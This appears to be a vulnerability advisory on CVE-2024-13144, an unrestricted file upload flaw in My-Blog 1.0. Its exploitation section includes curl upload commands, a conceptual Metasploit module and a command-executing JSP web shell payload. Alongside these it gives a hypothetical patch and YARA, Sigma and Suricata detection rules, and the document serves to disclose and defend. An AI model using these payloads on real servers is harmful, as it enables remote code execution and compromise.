CVE-2024-13144

Executive Summary

CVE-2024-13144 is a critical unrestricted file upload vulnerability in zhenfeng13 My-Blog version 1.0. The flaw resides in the uploadFileByEditomd function within BlogController.java, allowing an attacker to upload arbitrary files (e.g., web shells) via the editormd-image-file parameter without proper validation. This can lead to remote code execution (RCE) on the server. The exploit is publicly disclosed, and no official patch is available. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, it should be rated critical (CVSS 9.8).

Supply Chain & Package Security

This is a Java-based web application (Spring Boot). The vulnerability is in the application code itself, not in a third-party package. However, the use of Editor.md (a Markdown editor) may introduce additional risks if not updated. No known supply chain compromise is reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read possible.
• Integrity (I): High (H) – Arbitrary file upload can modify system.
• Availability (A): High (H) – Can lead to denial of service or full compromise.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability is in the uploadFileByEditomd method in BlogController.java. The function handles file uploads for the Editor.md image upload feature. It does not validate the file type, size, or content, allowing an attacker to upload executable files (e.g., JSP, PHP, or shell scripts) to the web root. Once uploaded, the attacker can access the file directly via the web server, leading to RCE.

Root Cause: Missing file type validation and lack of directory restriction.

Attack Flow:

1. Attacker sends a POST request to /admin/uploadFileByEditomd with a multipart form containing a malicious file (e.g., shell.jsp).
2. The server saves the file to a predictable location (e.g., /uploads/).
3. Attacker accesses the uploaded file via HTTP, triggering code execution.

Vulnerable vs. Patched Code

Vulnerable Code (My-Blog 1.0):

// src/main/java/com/site/blog/my/core/controller/admin/BlogController.java
@RequestMapping("/admin/uploadFileByEditomd")
@ResponseBody
public String uploadFileByEditomd(@RequestParam("editormd-image-file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String filePath = "/uploads/" + fileName;
    File dest = new File(filePath);
    file.transferTo(dest);
    return "{\"success\": 1, \"url\": \"" + filePath + "\"}";
}

Patched Code (Hypothetical):

@RequestMapping("/admin/uploadFileByEditomd")
@ResponseBody
public String uploadFileByEditomd(@RequestParam("editormd-image-file") MultipartFile file) {
    // Validate file extension
    String fileName = file.getOriginalFilename();
    String ext = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
    List<String> allowedExts = Arrays.asList("jpg", "jpeg", "png", "gif", "bmp");
    if (!allowedExts.contains(ext)) {
        return "{\"success\": 0, \"message\": \"Invalid file type\"}";
    }
    // Generate unique filename to prevent overwrite
    String newFileName = UUID.randomUUID().toString() + "." + ext;
    String filePath = "/uploads/" + newFileName;
    File dest = new File(filePath);
    file.transferTo(dest);
    return "{\"success\": 1, \"url\": \"" + filePath + "\"}";
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running My-Blog 1.0 with the vulnerable endpoint exposed.
• No authentication required.

Exploit Steps:

1. Create a malicious JSP file (e.g., cmd.jsp) that executes system commands.
2. Send a POST request with the file as the editormd-image-file parameter.

Example using cURL:

curl -X POST -F "editormd-image-file=@cmd.jsp" http://target.com/admin/uploadFileByEditomd

Expected Response:

{"success": 1, "url": "/uploads/cmd.jsp"}

3. Access the uploaded shell:

curl http://target.com/uploads/cmd.jsp?cmd=id

Metasploit Module (Conceptual):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'My-Blog Unrestricted File Upload',
      'Description'    => 'Exploits unrestricted file upload in My-Blog 1.0',
      'Author'         => ['Valters IT'],
      'License'        => MSF_LICENSE,
      'References'     => [['CVE', '2024-13144']],
      'Platform'       => 'java',
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0))
  end

  def exploit
    jsp_payload = "<%@page import=\"java.io.*\"%><% Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) out.println(line); %>"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin/uploadFileByEditomd'),
      'vars_form_data' => [
        { 'name' => 'editormd-image-file', 'data' => jsp_payload, 'filename' => 'shell.jsp', 'content_type' => 'application/octet-stream' }
      ]
    })
    if res && res.code == 200
      print_good("Upload successful")
    end
  end
end

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /admin/uploadFileByEditomd with non-image file extensions.
• Alert on file uploads with extensions like .jsp, .php, .war, .exe.

Hardening:

• Implement file type whitelisting (only allow image extensions).
• Store uploaded files outside the web root.
• Use a reverse proxy to block direct access to upload directories.
• Apply the principle of least privilege to the application user.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/uploadFileByEditomd with editormd-image-file parameter.
  • HTTP responses containing "success": 1 and a URL to /uploads/.
• File System:
  • Unexpected files in /uploads/ directory (e.g., .jsp, .php, .war).
  • Files with suspicious names like cmd.jsp, shell.jsp.
• Process:
  • Unusual child processes spawned by the Java application (e.g., cmd.exe, /bin/sh).

Detection Engineering

YARA Rule

rule CVE_2024_13144_MyBlog_Upload {
    meta:
        description = "Detects malicious file uploads targeting My-Blog CVE-2024-13144"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13144"
    strings:
        $http_post = "POST /admin/uploadFileByEditomd" ascii wide nocase
        $param = "editormd-image-file" ascii wide nocase
        $jsp_marker = "<%" ascii wide
        $php_marker = "<?php" ascii wide
    condition:
        $http_post and $param and ($jsp_marker or $php_marker)
}

Sigma Rule

title: My-Blog Unrestricted File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-13144 by uploading non-image files
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/uploadFileByEditomd'
        cs-uri-query|contains: 'editormd-image-file'
    filter:
        cs-uri-query|endswith:
            - '.jpg'
            - '.jpeg'
            - '.png'
            - '.gif'
            - '.bmp'
    condition: selection and not filter
falsepositives:
    - Legitimate image uploads with correct extensions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13144 My-Blog Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/uploadFileByEditomd"; http_uri; content:"editormd-image-file"; http_client_body; pcre:"/(\.jsp|\.php|\.war|\.exe)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed: Block /admin/uploadFileByEditomd via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Apply input validation at the application level: Whitelist allowed file extensions (e.g., .jpg, .png, .gif).
3. Store uploads outside web root and serve them via a script that validates the file type.

Long-term Fix:

• Upgrade to a patched version of My-Blog (if available) or apply the hypothetical patch above.
• Implement a Web Application Firewall (WAF) rule to block malicious uploads.

Workaround:

• Use a reverse proxy to restrict access to the upload directory and require authentication for file access.

Valters IT